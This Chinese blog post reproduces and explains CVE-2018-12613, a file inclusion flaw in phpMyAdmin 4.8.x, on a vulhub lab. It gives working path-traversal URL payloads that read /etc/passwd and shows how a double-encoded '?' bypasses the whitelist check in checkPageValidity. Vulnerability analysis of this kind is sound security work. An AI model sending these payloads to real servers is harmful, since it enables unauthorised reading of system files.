phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞分析
前言
影响版本:4.8.0——4.8.1
本次复现使用4.8.1 点击下载
复现平台为vulhub。此漏洞复现平台如何安装使用不在赘述。请自行百度。
漏洞复现
漏洞环境启动成功。
访问该漏洞地址:
使用payload:
1 | http: //your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd |
包含成功
漏洞分析
漏洞产生点位于:index.php文件54—67行
可以看到如果要包含文件成功,必需条件有5个:1、不为空 2、字符串 3、不以index开头 4、不在$target_blacklist这个黑名单中 5、Core::checkPageValidity()函数为TRUE
首先查看$target_blacklist变量的值:
然后进入条件5所述函数中。此函数位于:libraries\classes\Core.php文件443—476行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | public static function checkPageValidity(& $page , array $whitelist = []) { if ( empty ( $whitelist )) { $whitelist = self:: $goto_whitelist ; } if (! isset( $page ) || ! is_string ( $page )) { return false; } if (in_array( $page , $whitelist )) { return true; } $_page = mb_substr( $page , 0, mb_strpos( $page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } $_page = urldecode( $page ); $_page = mb_substr( $_page , 0, mb_strpos( $_page . '?' , '?' ) ); if (in_array( $_page , $whitelist )) { return true; } return false; } |
可以看到在第一次$_page出现时即可绕过。其含义为截取$page 第一个'?'之前的部分,如果在白名单中,即返回TRUE。接下来查看白名单的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | public static $goto_whitelist = array ( 'db_datadict.php' , 'db_sql.php' , 'db_events.php' , 'db_export.php' , 'db_importdocsql.php' , 'db_multi_table_query.php' , 'db_structure.php' , 'db_import.php' , 'db_operations.php' , 'db_search.php' , 'db_routines.php' , 'export.php' , 'import.php' , 'index.php' , 'pdf_pages.php' , 'pdf_schema.php' , 'server_binlog.php' , 'server_collations.php' , 'server_databases.php' , 'server_engines.php' , 'server_export.php' , 'server_import.php' , 'server_privileges.php' , 'server_sql.php' , 'server_status.php' , 'server_status_advisor.php' , 'server_status_monitor.php' , 'server_status_queries.php' , 'server_status_variables.php' , 'server_variables.php' , 'sql.php' , 'tbl_addfield.php' , 'tbl_change.php' , 'tbl_create.php' , 'tbl_import.php' , 'tbl_indexes.php' , 'tbl_sql.php' , 'tbl_export.php' , 'tbl_operations.php' , 'tbl_structure.php' , 'tbl_relation.php' , 'tbl_replace.php' , 'tbl_row_action.php' , 'tbl_select.php' , 'tbl_zoom_select.php' , 'transformation_overview.php' , 'transformation_wrapper.php' , 'user_password.php' , ); |
随便选中其中之一即可。此处选中 "tbl_sql.php" 。构造payload:/index.php?target=tbl_sql.php%3f/../../../../../../../../etc/passwd
此段代码表示将 "?"经过二次编码也可。
【推荐】还在用 ECharts 开发大屏?试试这款永久免费的开源 BI 工具!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· dotnet 源代码生成器分析器入门
· ASP.NET Core 模型验证消息的本地化新姿势
· 对象命名为何需要避免'-er'和'-or'后缀
· SQL Server如何跟踪自动统计信息更新?
· AI与.NET技术实操系列:使用Catalyst进行自然语言处理
· dotnet 源代码生成器分析器入门
· 官方的 MCP C# SDK:csharp-sdk
· 一款 .NET 开源、功能强大的远程连接管理工具,支持 RDP、VNC、SSH 等多种主流协议!
· 一文搞懂MCP协议与Function Call的区别
· 一次Java后端服务间歇性响应慢的问题排查记录